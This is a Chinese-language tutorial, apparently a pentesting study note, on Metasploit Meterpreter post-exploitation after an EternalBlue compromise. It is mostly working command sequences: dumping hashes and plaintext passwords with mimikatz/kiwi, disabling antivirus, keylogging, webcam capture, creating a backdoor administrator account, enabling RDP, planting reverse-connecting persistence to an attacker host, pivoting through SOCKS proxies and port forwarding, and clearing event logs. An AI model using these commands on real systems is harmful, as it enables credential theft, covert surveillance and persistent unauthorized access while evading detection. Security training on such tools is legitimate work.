在上文中我們復現了永恆之藍漏洞,這裡我們學習一下利用msf簡單的後滲透階段的知識/
一、meterperter常用命令
sysinfo #檢視目標主機系統資訊
run scraper #檢視目標主機詳細資訊
run hashdump #匯出密碼的雜湊
load kiwi #載入mimikatz
ps #檢視目標主機程式資訊
pwd #檢視目標當前目錄(windows)
getlwd #檢視目標當前目錄(Linux)
search -f *.jsp -d e:\ #搜尋E盤中所有以.jsp為字尾的檔案
download e:\test.txt /root #將目標機的e:\test.txt檔案下載到/root目錄下
upload /root/test.txt d:\test #將/root/test.txt上傳到目標機的 d:\test\ 目錄下
getpid #檢視當前Meterpreter Shell的程式PID
migrate 1384 #將當前Meterpreter Shell的程式遷移到PID為1384的程式上
idletime #檢視主機執行時間
getuid #檢視獲取的當前許可權
getsystem #提權
run killav/run post/windows/manage/killav #關閉防毒軟體
screenshot #截圖
webcam_list #檢視目標主機的攝像頭
webcam_snap #拍照
webcam_stream #開視訊
execute 引數 -f 可執行檔案 #執行可執行程式
run getgui -u hack -p 123 #建立hack使用者,密碼為123
run getgui -e #開啟遠端桌面
keyscan_start #開啟鍵盤記錄功能
keyscan_dump #顯示捕捉到的鍵盤記錄資訊
keyscan_stop #停止鍵盤記錄功能
uictl disable keyboard #禁止目標使用鍵盤
uictl enable keyboard #允許目標使用鍵盤
uictl disable mouse #禁止目標使用滑鼠
uictl enable mouse #允許目標使用滑鼠
load #使用擴充套件庫
run #使用擴充套件庫
run persistence -X -i 5 -p 8888 -r 192.168.1.114 #反彈時間間隔是5s 會自動連線192.168.1.114的4444埠,缺點是容易被防毒軟體查殺
portfwd add -l 3389 -r 192.168.11.13 -p 3389 #將192.168.11.13的3389埠轉發到本地的3389埠上,這裡的192.168.11.13是獲取許可權的主機的ip地址
clearev #清除日誌
二、Post 後滲透模組
該模組主要用於在取得目標主機系統遠端控制權後,進行一系列的後滲透攻擊動作。
run post/windows/manage/migrate #自動程式遷移 run post/windows/gather/checkvm #檢視目標主機是否執行在虛擬機器上 run post/windows/manage/killav #關閉防毒軟體 run post/windows/manage/enable_rdp #開啟遠端桌面服務 run post/windows/manage/autoroute #檢視路由資訊 run post/windows/gather/enum_logged_on_users #列舉當前登入的使用者 run post/windows/gather/enum_applications #列舉應用程式 run windows/gather/credentials/windows_autologin #抓取自動登入的使用者名稱和密碼 run windows/gather/smart_hashdump #dump出所有使用者的hash
三、常用的命令
訪問檔案系統
Meterpreter支援非常多的檔案系統命令(基本跟Linux系統命令類似),一些常用命令如下:
cd:切換目標目錄;
cat:讀取檔案內容;
rm:刪除檔案;
edit:使用vim編輯檔案
ls:獲取當前目錄下的檔案;
mkdir:新建目錄;
rmdir:刪除目錄;
上傳/下載檔案
download file 命令可以幫助我們從目標系統中下載檔案
upload file 命令則能夠向目標系統上傳檔案。
許可權提升
有的時候,你可能會發現自己的 Meterpreter 會話受到了使用者許可權的限制,而這將會嚴重影響你在目標系統中的活動。比如說,修改登錄檔、安裝後門或匯出密碼等活動都需要提升使用者許可權,而Meterpreter給我們提供了一個 getsystem 命令,它可以使用多種技術在目標系統中實現提權:
getuid 命令可以獲取當前使用者的資訊,可以看到,當我們使用 getsystem進行提權後,使用者身材為 NT AUTHORITY\SYSTEM ,這個也就是Windows的系統許可權。
注:執行getsystem命令後,會顯示錯誤,但是其實已經執行成功了!
獲取密碼(管理員許可權)
1. run hashdump
2. run windows/gather/smart_hashdump
3. 自己上傳mimikatz
4. load kiwi——creds all
5. load mimikatz:①32位系統直接載入模組 mimikatz_command -f sekurlsa::searchPasswords
②64位系統先遷移meterpreter到64位的程式中,再載入模組
1、很多使用者習慣將計算機設定自動登入,可以使用 run windows/gather/credentials/windows_autologin
抓取自動登入的使用者名稱和密碼
2、hashdump 模組可以從SAM資料庫中匯出本地使用者賬號,執行:run hashdump ,該命令的使用需要系統許可權
還可以使用命令:run windows/gather/smart_hashdump ,,該命令的使用需要系統許可權,該功能更強大,可以匯出域內所有使用者的hash
3、我們還可以通過上傳mimikatz程式,然後執行mimikatz程式來獲取明文密碼。
執行mimikatz必須System許可權。
我們先getsystem提權至系統許可權,然後執行 execute -i -f mimikatz.exe ,進入mimikatz的互動介面。然後執行:
privilege::debug
sekurlsa::logonpasswords
4、載入kiwi模組,該模組的使用需要System許可權,load kiwi 檢視該kiwi模組的用法:help kiwi
5、或者執行MSF裡面自帶的 mimikatz 模組 ,該模組的使用需要System許可權。傳送門:MSF中mimikatz模組的使用
執行程式
使用 execute 命令在目標系統中執行應用程式。這個命令的使用方法如下:
execute 引數 -f 可執行檔案
執行後它將執行所指定的命令。可選引數如下:
-f:指定可執行檔案 -H:建立一個隱藏程式 -a:傳遞給命令的引數 -i: 跟程式進行互動 -m:從記憶體中執行 -t: 使用當前偽造的執行緒令牌執行程式 -s: 在給定會話中執行程式
建立一個新賬號
先檢視目標主機有哪些使用者:run post/windows/gather/enum_logged_on_users
接下來,我們可以在目標系統中建立一個新的使用者賬號:run getgui -u hack -p 123,這個命令會建立使用者,並把他新增到 Administrators 組中,這樣該使用者就擁有遠端桌面的許可權了。
我們可以看到,這裡成功建立了使用者,但是新增到Administrators組中失敗了 。我們可以執行:shell ,進行cmd視窗手動將該使用者新增到administrators組中。
啟用遠端桌面
當我們新新增的使用者已經擁有遠端桌面之後,我們就可以使用這個賬號憑證來開啟遠端桌面會話了。
首先,我們需要確保目標Windows裝置開啟了遠端桌面功能(需要開啟多個服務),不過我們的 getgui 指令碼可以幫我們搞定。我們可以使用-e引數確保目標裝置開啟了遠端桌面功能(重啟之後同樣會自動開啟),我們輸入: run getgui -e 或者 run post/windows/manage/enable_rdp
在開啟遠端桌面會話之前,我們還需要使用“idletime”命令檢查遠端使用者的空閒時長: idletime
程式遷移
Meterpreter 既可以單獨執行,也可以與其他程式進行繫結。因此,我們可以讓Meterpreter與類似explorer.exe這樣的程式進行繫結,並以此來實現持久化。
在下面的例子中,我們會將Meterpreter跟 winlogon.exe 繫結,並在登入程式中捕獲鍵盤記錄,以獲得使用者的密碼。
首先,我們需要使用: ps 命令檢視目標裝置中執行的程式:
使用:migrate 目標程式ID 命令來繫結目標程式id,這裡繫結目標pid的時候,經常會斷了 shell。程式遷移後會自動關閉原來程式,沒有關閉可使用 kill pid 命令關閉程式。或者使用自動遷移程式(run post/windows/manage/migrate
)命令,系統會自動尋找合適的程式然後遷移。
繫結完成之後,我們就可以開始捕獲鍵盤資料了。
生成持續性後門
因為 meterpreter 是基於記憶體DLL建立的連線,所以,只要目標主機關機,我們的連線就會斷。總不可能我們每次想連線的時候,每次都去攻擊,然後再利用 meterpreter 建立連線。所以,我們得在目標主機系統內留下一個持續性的後門,只要目標主機開機了,我們就可以連線到該主機。
建立持續性後門有兩種方法,一種是通過啟動項啟動(persistence) ,一種是通過 服務啟動(metsvc)
啟動項啟動
啟動項啟動的話,我們先生成一個後門工具,傳送門——> 用MSF生成一個後門木馬
然後放到windows的啟動目錄中:
C:\Users\$username$\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
這樣這個後門每次開機就都能啟動了,然後我們只要相連就監聽相應的埠就行了。
服務啟動
通過服務啟動,我們可以執行命令
run persistence -X -i 5 -p 8888 -r 192.168.1.114 #反彈時間間隔是5s 會自動連線192.168.1.114的4444埠,缺點是容易被防毒軟體查殺 #然後它就在目標機新建了這個檔案:C:\Windows\TEMP\CJzhFlNOWa.vbs ,並把該服務加入了登錄檔中,只要開機就會啟
設定Socks代理
這裡socks模組只是將代理設定為本地的1080埠,即通過proxychains的流量都轉給本地的1080埠,又因為這是MSF起的監聽埠。所以我們需要新增一個路由,這樣MSF監聽的1080埠就可以到達內網了。
MSF中有三個代理模組,分別是socks4a、socks5、socks_unc。我們一般用 socks4a和socks5進行代理。socks5可以設定使用者名稱和密碼。這裡執行代理後,有時候MSF不會監聽埠(有可能是個bug,試了好多次都有這種情況),所以也就導致代理失敗。
#使用socks4a代理 use auxiliary/server/socks5 run #使用socks5代理 use auxiliary/server/socks5 set USERNAME root set PASSWORD Password@ run #然後開啟/etc/proxychains.conf,加入下面一行 socks5 0.0.0.0 1080 root Password@ #然後新增路由 route add 0.0.0.0 0.0.0.0 1 #然後就可以使用curl了 proxychains nmap -p 21 -Pn -sT x.x.x.x #在開啟其他程式前加上proxychains
portfwd埠轉發
portfwd add -l 3389 -r 192.168.1.114 -p 3389 #將192.168.1.114的3389埠轉發到本地的3389埠上,這裡的192.168.1.114是獲取許可權的主機的ip地址
portfwd 是meterpreter提供的一種基本的埠轉發。porfwd可以反彈單個埠到本地,並且監聽。
然後我們只要訪問本地的3389埠就可以連線到目標主機的3389埠了
rdesktop 127.0.0.1:3389
清除事件日誌
完成攻擊操作之後,千萬別忘了“打掃戰場”。我們的所有操作都會被記錄在目標系統的日誌檔案之中,因此我們需要在完成攻擊之後使用命令 clearev 命令來清除事件日誌:
匯入並執行PowerShell指令碼
load powershell #載入powershell功能 powershell_import /root/PowerView.ps1 #匯入powershell指令碼,提前將該powershell指令碼放到指定目錄 powershell_execute Get-NetDomain #執行該指令碼下的功能模組Get-domain,該模組用於獲取域資訊,一個指令碼下通常有多個功能模組 powershell_execute Invoke-UserHunter #該功能模組用於定位域管理員登入的主機 powershell_execute Get-NetForest #該模組用於定位域資訊
如果powershell指令碼是用於域內資訊收集的,則獲取到的許可權使用者需要是域使用者.